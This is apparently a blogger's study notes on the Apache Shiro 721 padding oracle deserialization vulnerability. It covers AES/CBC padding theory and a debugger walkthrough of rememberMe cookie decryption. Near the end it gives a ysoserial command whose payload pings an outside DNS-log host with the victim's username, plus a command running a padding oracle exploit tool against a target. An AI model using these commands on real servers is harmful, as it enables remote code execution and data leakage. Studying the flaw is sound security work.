收集了网上很多关于 shiro 721序列化的文章,发现都有讲加密这一块,所以也准备跟着文章来学习一下。

0X01 AES 加解密

目前的密码体制可以分为两种:“对称加密” 和 “非对称加密”

对称加密 – 加解密密钥都是同一个,既可加密又可解密

- AES
- DES

非对称加密 – 一对密钥由公钥和私钥组成,公私钥都可用来加解密。私钥不能外泄,公钥可以交给所有请求方

  • RSA
  • ECC
  • Rabin
  • 背包算法
  • Elgamal
  • ……

目前对称加密 AES 和非对称加密 RSA 使用的比较广泛。

AES 算法

我们都知道 shiro 是用的 AES 加密方法,AES 属于分组加密算法

明文长度固定为 128 位。

密钥长度可以是 128192256

image-20220128024748684

分组加密模式共有五种

  • ECS ( Electronic Codebook Book , 电话本模式 )
  • CBC ( Cipher Block Chaining , 密码分组链接模式 )
  • CTR ( Counter , 计算器模式 )
  • CFB ( Cipher FeedBack , 密码反馈模式 )
  • OFB ( Output FeedBack , 输出反馈模式 )

shiro 1.4.1 版本中,加密方式并没有修改加密方法,只是将固定密钥更换成随机,所以本次也跟着大佬的文章看看 CBC 模式的加密模式。

CBC 密码分组链接模式,密文分组像链条一样相互连接,将明文分割成若干组,每组和上一组的密文进行 XOR(异或)运算,得到的密文会和下一组明文进行加密。由于第一段明文没有对应的密文,所以引入了一个初始化向量 IV(Initialization Vector ) ,此向量是一个固定长度的随机值(8个字节),和第一段明文一起加密。

如下图所示:

image-20220131145305146

image-20220131145354828

Padding 加密

我们还要注意一点的是填充方式。

在分组加密时,把明文以 128 bits(16 Bytes) 分割成多个组,当最后一组不足 16 Bytes 时,会使用 Padding 机制填充,直到补齐 16 bytes 为止。

CBC 加密模式下可用的 Padding 方式有三种:

  1. NoPadding : 明文长度必须是 8 Bytes 的倍数 , 否则会报错 .
  2. PKCS5Padding : 以完整字节填充 , 每个填充字节的值是用于填充的字节数 . 即要填充 N 个字节 , 每个字节都为 N.

举例 : 使用 PKCS5Padding 方式填充 3 个字节 : | AA BB CC DD EE 03 03 03 |

  1. ISO10126Padding : 以随机字节填充 , 最后一个字节为填充字节的个数 .

举例 : 使用 ISO10126Padding 方式填充 5 个字节 : | AA BB CC A9 3B 78 04 05 |

如下图

img

Padding Oracle Attack (填充 Oracle 攻击)

填充 Oracle 攻击中的 Oracle 中是通过接收特定加密数据,解密并验证填充是否正确的方式。

攻击者会反复发送一段密文,每次发送时都对填充数据进行少许改变。由于接收者(服务器)在无法正确解密时会返回一个错误消息,攻击者通过这一错误消息就可以获得一部分与明文相关的信息。

例如:

  1. 客户端实现了用户登录功能 ; 用户登录后 , 客户端会将用户的ID进行 AES/CBC/PKCS5Padding 加密后发送到服务器处理 , 来验证用户是否存在.

    客户端将 AES 加密后的UID值放到URL中进行传输 : https://guildhab.top?uid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

  2. 服务端会接收客户端发送的数据 , 对参数UID的值进行AES解密处理.

    假设服务端会产生如下三种 AES 解密结果 :

    • 密文有效 , 填充有效 ===> 用户存在 , 登录成功 . 服务端返回 HTTP 200
    • 密文无效 ===> 服务端返回用户不存在的报错信息 . 服务端返回 HTTP 500
    • 密文有效 , 填充无效 ===> 服务端返回后端自定义报错信息 . 服务端返回 HTTP 301

    玩过 SQL 注入的师傅很快便能发现问题 : 根据第一个返回结果和第三个返回结果 . 可以通过暴力破解的方式来确定有效的填充值 .

    当服务端返回 “用户存在 , 登录成功” 的信息时 . 填充数据即为有效填充值 . 这个概念非常类似 SQL 注入里的 “盲注” , 属于一种侧信道攻击 .

这里推荐去此博客,解释的挺不错

https://www.guildhab.top/2020/11/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8a/

大致了解了 AES 加密流程,以及和 shiro 相关的安全问题。

0X02 shiro 721 漏洞分析

环境搭建

下载地址:https://github.com/apache/shiro/releases/tag/shiro-root-1.4.1

导入 idea 后 根据 pox.xml 自动下载依赖包

配置 Tomcat 环境

image-20220125231936597

image-20220125232010567

启动 Tomcat

image-20220125232155606

搭建成功!

漏洞分析

断点,我们还是打在 shiro-shiro-root-1.4.1/core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java getRememberedPrincipals 方法上

image-20220201233744299

启动后使用burp抓包,如果断点数据进不去

可尝试如下方法。

https://developer.aliyun.com/ask/62156?spm=a2c6h.13159736

control + command + R 然后重新发送数据,数据就进入断点了。

跟进 getRememberedSerializedIdentity 方法

image-20220201234139185

getCookie().readValue 获取 cookie 的值,并且和 Cookie.DELETED_COOKIE_VALUE.equals 进行对比 DELETED_COOKIE_VALUE 常量的值是 deleteMe 返回 false 则由 ensurePadding 处理 ,继续跟进

image-20220202000230661

这里判断 长度对4取模不等于0,就添加 = 号填充,并未做其他操作,继续跟进,代码执行完后,跳到 Base64.decode 这个函数 一看就是解密 base64 数据, 跟进

image-20220202000527309

这里 CodecSupport.toBytes 返回 UTF-8 的字节流数据

image-20220202000733918

decode 里面做了循环调用,返回了一组字节流数据,并无其他调用

image-20220202001115245

执行完毕后,程序会自动跳转回 getRememberedPrincipals 继续跟进下一个函数

image-20220202001224504

decrypt 解密 bytes ,直接跟进

image-20220202001243549

getCipherService 获取 AES 加密类,使用的是 CBC 模式 PKCS5Padding 填充方式

image-20220202001436264

getDecryptionCipherKey 获取解密密钥,先跟进 decrypt 方法,后续跟进密钥是怎么获取的

image-20220202002707936

isGenerateInitializationVectors 处理初始的 IV 值,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,攻击者无需知道RememberMe加密的密钥。

image-20220202003325656

decrypt 会根据获取到的密文,密钥,初始 IV 值解密,跟进查看详细代码
image-20220203003618676

initNewCipher 初始化解密模式,后续重载 crypt 调用了 doFinal 正式解密,如果调用失败会抛出异常。

跟进 doFinal ,该方法会依次判断 Cipher 对象是否被初始化 , 传入的字节数组数据是否为空 , 解密服务的服务提供商", 然后调用 this.spi.engineDoFinal() 方法对字节数组进行解密

image-20220203004310667

走完整个流程后,跳回到 convertBytesToPrincipals 走到 deserialize 进行反序列化操作

image-20220203004736613

继续跟进

image-20220203004838345

最后返回 用户名 root

image-20220203004943133

image-20220203005008938

至此整个解密流程走完了,其实有些和解密过程我没继续跟,由于技术有限,看的比较懵逼,也就没详细跟了。

参考链接:https://www.guildhab.top/2020/12/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8b/

漏洞利用

脚本地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

首先利用 ysoserial 生成一个 dnslog 的 class 文件

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "ping %USERNAME%.jdjwu7.ceye.io" > payload.class

爆破密钥

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

image-20220203014100583

后续填充内容爆破密钥

image-20220203014838412

后续漏洞利用这块生成太麻烦,懒得搞了,留个坑

参考链接:https://www.cnblogs.com/wh4am1/p/12761959.html

工具跑一波

image-20220203011141933